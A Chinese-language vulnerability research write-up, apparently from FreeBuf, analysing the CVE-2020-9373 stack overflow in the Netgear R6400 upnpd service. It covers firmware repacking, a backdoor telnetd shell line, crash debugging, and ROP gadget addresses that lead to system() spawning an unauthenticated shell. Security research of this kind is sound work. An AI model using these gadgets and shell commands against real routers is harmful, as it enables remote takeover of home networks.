Netgear R6400 upnp栈溢出漏洞分析
、基本情况
Netgear R6400 多个固件版本中的upnpd存在栈溢出漏洞(CVE-2020-9373)，通过向其udp 1900端口发送构造的ssdp数据包，可能导致DOS或RCE。下文的测试均使用V1.0.1.52_1.0.36这本版本的固件包。
Netgear r6400
Netgear R6400 是网件的AC1750无线路由器，2.4GHz和5GHz双频支持，最高带宽1750Mbps（450+1300 Mbps），机身带有一个USB 3.0接口、一个USB 2.0接口。
upnp 协议
通用即插即用（Universal Plug and Play，简称UPnP）是由“通用即插即用论坛”（UPnP™ Forum）推广的一套网络协议。该协议的目标是使家庭网络（数据共享、通信和娱乐）和公司网络中的各种设备能够相互无缝连接，并简化相关网络的实现。UPnP检测协议是基于简单服务发现协议（SSDP）的。
ssdp 协议
简单服务发现协议（SSDP，Simple Service Discovery Protocol）是一种应用层协议，是构成通用即插即用(UPnP)技术的核心协议之一。简单服务发现协议提供了在局部网络里面发现设备的机制。
二、准备工作
2.1 固件分析
binwalk解析
> binwalk R6400-V1.0.1.52_1.0.36.chk
DECIMAL HEXADECIMAL DESCRIPTION
--------------------------------------------------------------------------------
58 0x3A TRX firmware header, little endian, image size: 31977472 bytes, CRC32: 0x4BDF38B9, flags: 0x0, version: 1, header size: 28 bytes, loader offset: 0x1C, linux kernel offset: 0x201CEC, rootfs offset: 0x0
86 0x56 LZMA compressed data, properties: 0x5D, dictionary size: 65536 bytes, uncompressed size: 5173344 bytes
2104614 0x201D26 Squashfs filesystem, little endian, version 4.0, compression:xz, size: 29869289 bytes, 1645 inodes, blocksize: 131072 bytes, created: 2019-11-07 12:21:09通过binwalk解析，固件结构比较清晰。固件由netgear header(0x3A字节) +TRX header(0x1c字节)+linux kernel+squashfs文件系统构成。
2.1.1 netgear header
前0x3A字节是netgear自带的header，由于从netgear的开源软件中找到了打包软件，所以并未对其过多分析，但是可以较明显地看出包含版本号，文件大小，校验码等信息。
2.1.2 TRX header
结构示意图：
0 1 2 3
0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+---------------------------------------------------------------+
| magic number ('HDR0') |
+---------------------------------------------------------------+
| length (header size + data) |
+---------------+---------------+-------------------------------+
| 32-bit CRC value |
+---------------+---------------+-------------------------------+
| TRX flags | TRX version |
+-------------------------------+-------------------------------+
| Partition offset[0] |
+---------------------------------------------------------------+
| Partition offset[1] |
+---------------------------------------------------------------+
| Partition offset[2] |
+---------------------------------------------------------------+头结构定义如下：
struct trx_header {
uint32_t magic; /* "HDR0" */
uint32_t len; /* Length of file including header */
uint32_t crc32; /* 32-bit CRC from flag_version to end of file */
uint32_t flag_version; /* 0:15 flags, 16:31 version */
uint32_t offsets[4]; /* Offsets of partitions from start of header */
};crc32校验是对校验值后所有数据的校验，通过简单验证，
print("0x%x" % ((~zlib.crc32(fp.read()[0x46:])) & 0xffffffff))> python3 crc32check.py R6400-V1.0.1.52_1.0.36.chk
0x4bdf38b9发现crc校验值与此前binwalk输出结果一致。
2.2 调试准备
2.2.1 修改固件
R6400路由器本身没有提供shell交互接口，可以通过刷入第三方固件+上传upnpd的方式调试，网上有很多第三方固件的刷机方法，在此不再赘述。笔者利用的方式是直接修改squashfs文件，开启busybox自带的telnetd服务。由于时间有限，并未对整个系统启动过程作详细分析，仅利用对/usr/sbin/dlnad修改替换的简单方法。
# mv squashfs/usr/sbin/dlnad squashfs/usr/sbin/dlnadd
# touch squashfs/usr/bin/dlnad
# chmod +x squashfs/usr/bin/dlnad替换后的dlna:
#!/bin/sh
/usr/sbin/telnetd -F -l /bin/sh -p 1234 &
/usr/sbin/dlnadd &2.2.2 固件打包
R6400提供了部分开源代码，当然可以通过编译生成新的固件，但笔者这里讨巧地利用直接二进制编辑替换原固件中squashfs，再更新TRX header和netgear header的方式，省去ARM交叉编译过程。TRX需更新crc32校验值和长度，netgear header利用开源工具链中的packet和compatible_r6400.txt工具:
./packet -k %s -f rootfs -b compatible_r6400.txt
-ok kernel -oall image -or rootfs -i ambitCfg.h注意在打包squshfs需指明压缩方式为xz，否则刷机可能出现故障:
mksquashfs squashfs-root squashfs-root.squash -comp xz默认生成image.chk就可以刷机了，如果刷机失败导致无法连接可参考本文底部链接救砖。
重新启动后发现telnet 1234端口可以连接，说明刷机成功。
# telnet 192.168.1.1 1234
BusyBox v1.7.2 (2019-11-07 20:19:12 CST) built-in shell (ash)
Enter 'help' for a list of built-in commands.
#三、漏洞发掘
由于漏洞比较明显，是upnpd处理ssdp包时直接利用strcpy复制未经过滤的数据导致的栈溢出，通过二进制危险函数审计就可以发掘。
笔者是利用gihub上的upnp fuzz工具测试发现的(send第二个包就产生了crash)。协议本身比较简单，测试脚本完全可以自行开发，当然利用sulley peach等开源框架也能很快实现，笔者还顺手对dnsmasq和web等作了fuzz测试，由于时间和水平有限，未有结果。
用gdb调试可以看到程序产生了Segmentation fault:
# cd /tmp
# tftp 192.168.1.2 -l gdb -r gdb -g octet
# chmod +x gdb
# ps |grep upnpd
10936 admin 2400 S upnpd
12580 admin 1316 R grep upnpd
#./gdb --pid=10936
GNU gdb (GDB) 7.11
Copyright (C) 2016 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law. Type "show copying"
and "show warranty" for details.
This GDB was configured as "arm-linux-gnueabi".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.
For help, type "help".
Type "apropos word" to search for commands related to "word".
Attaching to process 15409
Reading symbols from /usr/sbin/upnpd...(no debugging symbols found)...done.
Reading symbols from /usr/lib/libnvram.so...(no debugging symbols found)...done.
Reading symbols from /usr/lib/libacos_shared.so...(no debugging symbols found)...done.
Reading symbols from /usr/lib/libnat.so...(no debugging symbols found)...done.
Reading symbols from /lib/libcrypt.so.0...(no debugging symbols found)...done.
Reading symbols from /lib/libgcc_s.so.1...(no debugging symbols found)...done.
Reading symbols from /lib/libc.so.0...(no debugging symbols found)...done.
Reading symbols from /lib/libm.so.0...(no debugging symbols found)...done.
Reading symbols from /lib/ld-uClibc.so.0...(no debugging symbols found)...done.
0x4011f4cc in select () from /lib/libc.so.0
(gdb)c
Continuing.
Program received signal SIGSEGV, Segmentation fault.
0x401e3954 in strstr () from /lib/libc.so.0
(gdb) backtrace
#0 0x401e3954 in strstr () from /lib/libc.so.0
#1 0x0000b820 in ?? ()
Backtrace stopped: previous frame identical to this frame (corrupt stack?)
(gdb)i r
r0 0x41414141 1094795585
r1 0xbeeefcc4 3203333316
r2 0xbeeefcc4 3203333316
r3 0x41414141 1094795585
r4 0x41 65
r5 0xbeeefcc0 3203333312
r6 0xbeeefcc4 3203333316
r7 0xbeeefcc0 3203333312
r8 0xbeeefcc4 3203333316
r9 0x30a 778
r10 0x1 1
r11 0xb8f7c 757628
r12 0x4c7ac 313260
sp 0xbeeef678 0xbeeef678
lr 0xb820 47136
pc 0x401e3954 0x401e3954 <strstr+24>
cpsr 0x20000010 536870928利用ida回溯sub_b820函数发现漏洞可能存在sub_22270的strcpy中：
text:00022270
.text:00022270 STMFD SP!, {R4-R11,LR}
.text:00022274 SUB SP, SP, #0x630
.text:00022278 SUB SP, SP, #4
.text:0002227C MOV R5, R2
.text:00022280 ADD R3, SP, #0x658+s
.text:00022284 MOV R2, #0x20
.text:00022288 STRH R2, [R3,#0x2C]
.text:0002228C MOV R4, R0
.text:00022290 LDR R3, =dword_885DC
.text:00022294 MOV R6, R1
.text:00022298 LDR R3, [R3]
.text:0002229C CMP R3, #1
.text:000222A0 MOVEQ R0, #0
.text:000222A4 BEQ loc_22364
.text:000222A8 ADD R3, SP, #0x658+var_628
.text:000222AC ADD R7, SP, #0x658+var_28
.text:000222B0 SUB R3, R3, #0xC
.text:000222B4 ADD R8, SP, #0x658+var_38
.text:000222B8 STR R3, [R7,#-8]!
.text:000222BC MOV R1, R4 ; src
.text:000222C0 MOV R0, R3 ; dest
.text:000222** ADD R8, R8, #0xC
.text:000222C8 BL strcpy
.text:000222CC MOV R0, R7
.text:000222D0 MOV R1, R8
.text:000222D4 BL sub_B800
.text:000222D8 SUBS R10, R0, #0
.text:000222DC BEQ loc_22360 ; jumptable 00022424 default case
.text:000222E0 LDR R1, =aMSearch ; "M-SEARCH"
.text:000222E4 BL strstr
.text:000通过在sub_22270函数下断点继续调试，发现漏洞果然存在于此处。由于在考虑长度的情况下将r1指向地址的数据直接复制覆盖r0指向的地址，导致同样存于栈中的r7指向的值被改变，之后取r7指向的值赋给r0(已被覆盖为0x41414141)，将r0当作地址取值是因无法读取数据产生Segmentation fault。
四、漏洞利用
4.1 地址随机化
每次加载库地址和栈地址都随机，但存在一些规律，而upnpd的地址是不变的，地址随机化bypass常规思路是构造ROP，需要解决以下两个问题。
4.1.1 字符串截断
upnpd文件较小，最大的地址空间也至少包含一个0x00，字符串截断无法多次跳转。一般思路是加密编码shellcode去掉0x00防止截断，这里笔者利用一个比较简单的方法。由于strcpy前会将参数压栈(ARM是先存寄存器，但指向的buf仍存于内存空间)，由于网络中收取的是二进制流不存在截断问题，所以发送的完整数据必然存在于内存空间，可以利用先利用一跳pop栈数据，使栈地址刚好处于构造数据的位置，之后就可以不受0x00影响直接用常规ROP。
在内存中找到没有截断的数据:
(gdb) x/20x 0xbed442e8
0xbed442e8: 0x41414141 0x41414141 0x41414141 0x41414141
0xbed442f8: 0x41414141 0x41414141 0x41414141 0x41414141
0xbed44308: 0x41414141 0x41414141 0x41414141 0x41414141
0xbed44318: 0x41414141 0x42004200 0x42004200 0x000000004.1.2 r7地址可读
如果r7地址不可读就会在return前产生Segmentation fault导致程序退出，只达到DOS效果，无法执行命令。同样存在之前的随机化和截断问题。这个问题笔者没能很好的解决，考虑到libc每次的加载地址存在一些规律，均为0x401XX4cc，经过多次尝试，将r7值设为0x401004cc基本可实现需求，但还是存在失败的概率，比如upnpd多次异常重启后libc地址会变成0x402XX4cc，如果童鞋们有好的方法还请不吝赐教。
(gdb) x/10x 0x40100cc
0x401bd25c <select+12>: 0xe3700a01 0xe1a04000 0x9a000003 0xe2644000
0x401bd26c <select+28>: 0xebfff099 0xe5804000 0xe3e04000 0xe1a00004
0x401bd27c <select+44>: 0xe8bd8098 0xe3a020004.2 rop构造
解决以上问题后构造ROP就是机械操作了，可以利用pwntools，也可以用ROPgadget等工具构造。笔者利用到的代码如下:
//pop栈内容，使栈地址触及send的数据
.text:00019124 ADD SP, SP, #0xDC
.text:00019128 ADD SP, SP, #0x800
.text:0001912C LDMFD SP!, {R4-R11,PC}
//将需要执行的命令地址赋给r0
.text:0000CEE4 MOV R0, R4 ; s
.text:0000CEE8 MOV R1, #0 ; c
.text:0000CEEC MOV R2, R5 ; n
.text:0000CEF0 BL memset
.text:0000CEF4 MOV R0, R4 ; dest
.text:0000CEF8 MOV R1, SP ; src
.text:0000CEFC BL strcpy
.text:0000CF00 ADD SP, SP, #0x400
.text:0000CF04 LDMFD SP!, {R4-R6,PC}
//执行system
.text:00017878 BL system
.text:0001787C MOV R0, #1由于r7可读问题没有很好解决，整个ROP注定不完整，所以在执行system成功后就没有继续构造，对于upnpd退出重启等还有进一步操作空间。执行效果如下，可以看到成功在9999端口开启了telnetd，测试可成功连接。
# ps |grep telnet
10912 admin 1292 S /usr/sbin/telnetd -p 1234
11587 admin 1296 S sh -c telnetd -F -l /bin/sh -p 9999;
11588 admin 1296 S telnetd -F -l /bin/sh -p 9999
12280 admin 1316 S grep telnet五、简单总结
1、该漏洞不管从发掘到利用都比较简单，适合新手入门，随着网络安全越来越被重视，现在的应用软件很难再发现此种漏洞。遗憾的是r7可读没有很好的解决，如果童鞋们有好的方法请不吝赐教。 2、使用upnp带来方便，但很多实现上都会暴露出安全问题，笔者觉得此类设备在易用性和安全性的平衡点拿捏上还有长路要走，建议如果不需要upnp这类服务就尽量关闭。 3、笔者发现同为Netgear的设备WNDR3400v3也爆出类似漏洞，而且已经存在CVE编号(CVE-2019-14363)，应该是用了相似的代码。很多设备都依赖于openwrt/ddwrt二次开发，应用开源软件更是数不胜数，如果想更高效发现漏洞并预警，二进制同源分析也是很值得研究的课题。 4、https://github.com/kolovey/Netgear-upnp-crash.git
六、参考链接
Netgear官方信息： https://www.netgear.com/about/security/ 固件下载： https://www.netgear.com/support/product/R6400.aspx#Firmware Version 1.0.1.32 GPL开源软件下载： http://www.downloads.netgear.com/files/GDC/R6400/R6400-V1.0.1.34_1.0.24.zip 救砖教程： http://koolshare.cn/thread-142232-1-6.html upnp_fuzzing:https://github.com/w0lfzhang/upnp_fuzzing.git
*本文原创作者：klovey，本文属于FreeBuf原创奖励计划，未经许可禁止转载
腾讯云开发者
